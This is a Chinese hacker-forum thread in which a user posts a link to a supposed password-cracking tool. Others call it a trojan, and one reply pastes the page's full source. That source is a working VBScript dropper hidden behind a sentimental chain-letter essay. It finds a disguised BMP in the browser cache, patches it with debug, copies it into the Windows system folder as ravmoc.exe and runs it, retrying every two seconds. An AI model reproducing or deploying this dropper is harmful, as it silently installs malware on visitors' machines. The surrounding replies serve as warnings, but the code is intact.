20CN网络安全小组论坛 - 菜鸟乐园 - 好东西密码结巴4。1这里有的下载

论坛: 菜鸟乐园标题: 好东西密码结巴4。1这里有的下载

复制本贴地址

作者: dalu [dalu]

论坛用户

好东西密码结巴4。1这里有的下载http://home.itdrp.com/ksn/ravmoc.htm

地主发表时间: 12/08 08:33

回复: zintaly [zintaly]

论坛用户

小心拉，，，木马

B1层发表时间: 12/08 13:08

回复: lijuanjuan [lijuanjuan]

论坛用户

真的是木马!!!!

B2层发表时间: 12/08 13:13

回复: zintaly [zintaly]

论坛用户

斑竹要删啊！木马哇！

B3层发表时间: 12/08 13:18

回复: newmyth21 [newmyth21]

论坛用户

http://home.itdrp.com/ksn/ravmoc.htm

你小子干吗？

B4层发表时间: 12/08 16:36

回复: nodoor [zqm]

论坛用户

怎么现在的人越来越不要脸呀！

B5层发表时间: 12/08 17:57

回复: moley [moley]

论坛用户

我是麻木了，像这样的人还是很多，悲哀 ING，可是还是要谢谢你的代码，真的很经典，因为这样的文章，我曾经看过，差点流泪，对了，请把原版的个我吧，我要，你也可以看看这个网页，看后联系我！
-------ravmoc.hta-----------
<SCRIPT LANGUAGE="VBScript">
'by
Option Explicit
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache")
sucess=0

sub FF
SearchBMPFile fso.GetFolder(CACHE),"ravmoc[1].bmp"
if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"ravmoc[2].bmp"
End sub

Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
On Error Resume Next
File.Delete
if FSO.FileExists(str) then exit function
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("6")
Lt.WriteLine("rcx")
Lt.WriteLine("22F6")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
Lt.WriteLine("@echo off")
Lt.WriteLine("debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "ravmoc.exe>" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine(winsys & "ravmoc.exe")
Lt.Close
WSH.Run tmp & "tmp.bat",false,6
On Error Resume Next
'FSO.GetFile(tmp & "tmp.bat").Delete
sucess=1
msgbox "戴上耳机打开音箱放大点声慢慢欣赏"
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
</script>

<SCRIPT language=JavaScript>
function F()
{
FF();
if (sucess==0) setTimeout("F()", 2000);
}
setTimeout("F()", 2000);
</SCRIPT>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
type=text/css rel=stylesheet>
<STYLE type=text/css>TD {
FONT-SIZE: 14px; LINE-HEIGHT: 28px
}
</STYLE>

<META content="MSHTML 6.00.2800.1106" name=GENERATOR><BGSOUND balance=0 src="tb/rdys.mid"
volume=0 loop=infinite>
<STYLE>BODY {
SCROLLBAR-FACE-COLOR: #fb7c7c; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #ffd4d4; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #ffd4d4; SCROLLBAR-DARKSHADOW-COLOR: #ffffff
}
</STYLE>

<STYLE type=text/css>P {
FONT-SIZE: 9pt
}
TD {
FONT-SIZE: 9pt
}
SELECT {
FONT-SIZE: 9pt
}
A {
FONT-SIZE: 9pt; COLOR: black; TEXT-DECORATION: none
}
A:hover {
COLOR: red; TEXT-DECORATION: underline overline
}
.drop {
FILTER: dropshadow(color=000000, offx=1, offy=1, positive=1)
}
.drop2 {
FILTER: dropshadow(color=FFFFFF, offx=1, offy=1, positive=1)
}
</STYLE>
</HEAD>
<BODY bgProperties=fixed background=tb/back.jpg>
<SCRIPT language=VBScript>
dim w,t,p,mm,c,mr,dy,tmp,vs:vs=5:dy=1:p=1:mr=" ":c="|"&mr:Set w = document.body

sub tp
m=mid(t,p,1):if m="" then c=mr
if m="`" then m="":mm=mid(mm,1,len(mm)-1)
if m="<" then av=instr(mid(t,p),">"):m=mid(t,p,av):p=p+av-1
if m="&" then av=instr(mid(t,p),";"):m=mid(t,p,av):p=p+av-1
tmp=100:if m="." then tmp=400 else if m="," then tmp=200 else if m=" " then tmp=200
if w.scrollHeight-w.scrollTop>w.offsetHeight then w.scrollTop=w.scrollTop+int(dy):dy=dy+dy/vs else dy=1
mm=mm&m:w1.innerHTML=mm&c:p=p+1:if p<=len(t)+1 then SetTimeOut "tp",16+tmp else w.scroll="yes"
end sub

sub window_onload()
w.scroll="yes"
w.bgcolor="#A8A8A8"
w.style.cursor="crosshair"
'-------------------
t=w0.innerHTML:tp
end sub
</SCRIPT>
请不要关闭网页戴好你的耳机看下去…………
<DIV id=w0 style="DISPLAY: none; WIDTH: 671px; HEIGHT: 2186px">
<TABLE width="90%" align=center border=0>
<TBODY>
<TR>
<TD>
人的一生会遇上的四个人 
 

人生就是为了找寻爱的过程，每个人的人生都要找到四个人。

第一个是自己, 
第二个是你最爱的人， 
第三个是最爱你的人， 
第四个是共度一生的人. 
首先会遇到你最爱的人，然後体会到爱的感觉； 
因为了解被爱的感觉，所以才能发现最爱你的人； 
当你经历过爱人与被爱，学会了爱，才会知道什么是你需要的， 
也才会找到最适合你，能够相处一辈子的人。 
但很悲哀的，在现实生活中，这三个人通常不是同一个人； 
你最爱的，往往没有选择你； 
最爱你的，往往不是你最爱的； 
而最长久的，偏偏不是你最爱也不是最爱你的， 
只是在最适合的时间出现的那个人。 
你，会是别人生命中的第几个人呢？ 
没有人是故意要变心的，他爱你的时候是真的爱你， 
可是他不爱你的时候也是真的不爱你了， 
他爱你的时候没有办法假装不爱你； 
同样的，他不爱你的时候也没有办法假装爱你
。 
当一个人不爱你要离开你， 
你要问自己还爱不爱他， 
如果你也不爱他了，千万别为了可怜的自尊而不肯离开； 
如果你还爱他，你应该会希望他过得幸福快乐， 
希望他跟真正爱的人在一起，绝不会阻止， 
你要是阻止他得到真正的幸福，就表示你已经不爱他了， 
而如果你不爱他，你又有什么资格指责他变心呢？ 
爱不是占有， 
你喜欢月亮，不可能把月亮拿下来放在脸盆里， 
但月亮的光芒仍可照进你的房间。 
换句话说，你爱一个人，也可以用另一种方式拥有， 
让爱人成为生命里的永恒回忆， 
如果你真爱一个人，就要爱他原来的样子─爱他的好，也爱他的坏： 
爱他的优点，也爱他的缺点， 
绝不能因为爱他，就希望他变成自己所希望的样子， 
万一变不成就不爱他了。 
真正爱一个人是无法说出原因的， 
你只知道无论何时何地、心情好坏，你都希望这个人陪著你； 
真正的感情是两人能在最艰苦中相守，也就是没有丝毫要求。 
毕竟，感情必须付出，而不是只想获得； 
分开是一种必然的考验， 
如果你们感情不够稳固，只好认输， 
真爱是不会变成怨恨的。 
两人在谈情说爱的时候， 
最喜欢叫对方发誓，许下承诺我们为什么要对方发誓， 
就是因为我们不相信对方，我们根本不相信情人， 
而这些山盟海誓又很不切实际： 
海枯石烂、地老天荒，都不能改变我对你的爱! 
明知道海不会枯、石不会烂、地不会老、天不会荒； 
就算会，也活不到那时候。 
许下诺言的时候千万注意，不要许下可以实现的诺言， 
最好是承诺做不到的事， 
反正做不到的，随便说说也不要紧， 
请记住：”不可能实现的诺言最动人” 
在爱情里，说的是一套，做的是另一套； 
讲的人不相信，听的人也不相信。 
你呢？找到了第几个？ 
茫茫人海中，你遇见了谁？谁又遇见了你？
 
　　 转给0-4人：你的生活会悄悄起变化
　　 转给5-9人：生活如你所愿
　　 转给9-14人：接下来的三个星期你会有惊喜的发现
　　 转给15人以上：你的梦想终会成真. 
　　这是一个朋友转发给我的信。常常收到类似的让我继续转发的邮件，号称如果这样做了就会怎么样之类，通常我会把自己作为终点，但是这封信打动了我，因为它说："收到了这封信，是因为有人在默默的祝福，因为你也爱你身边的一些人"。带着爱的，一切将如愿以偿。
　　这是一封给你送上好运的信，它始于新英格兰。此信的复制由南非教区主教索尔安东尼起草并由维尼乌拉发出，已经绕地球转了十次。现在好运已降临到你身上，只要你照办，将此信复制2O份分别寄给亲朋好友，使它在界各地周转，你将在四天内交到好运，这不是在开玩笑，不需要寄钱，因为幸运是无代价的。
　　
你看到了吗？我在默默的祝福你。*^_^* 
</TD></TR></TBODY></TABLE></DIV>
<DIV id=w1></DIV>
　 <IFRAME src="人的一生会遇上的四个人.files/story.htm"
width=0 scrolling=no height=FRAMEBORDER=0></IFRAME>
<SCRIPT language=JavaScript>

</SCRIPT>
</body>
</html>

[此贴被无泪剑客(moley) 在 12月08日18时36分编辑过]

B6层发表时间: 12/08 18:40

回复: moley [moley]

论坛用户

对了，楼主，rdys.mid这首歌路径在哪里呀？
急！！！！

B7层发表时间: 12/08 18:51

论坛: 菜鸟乐园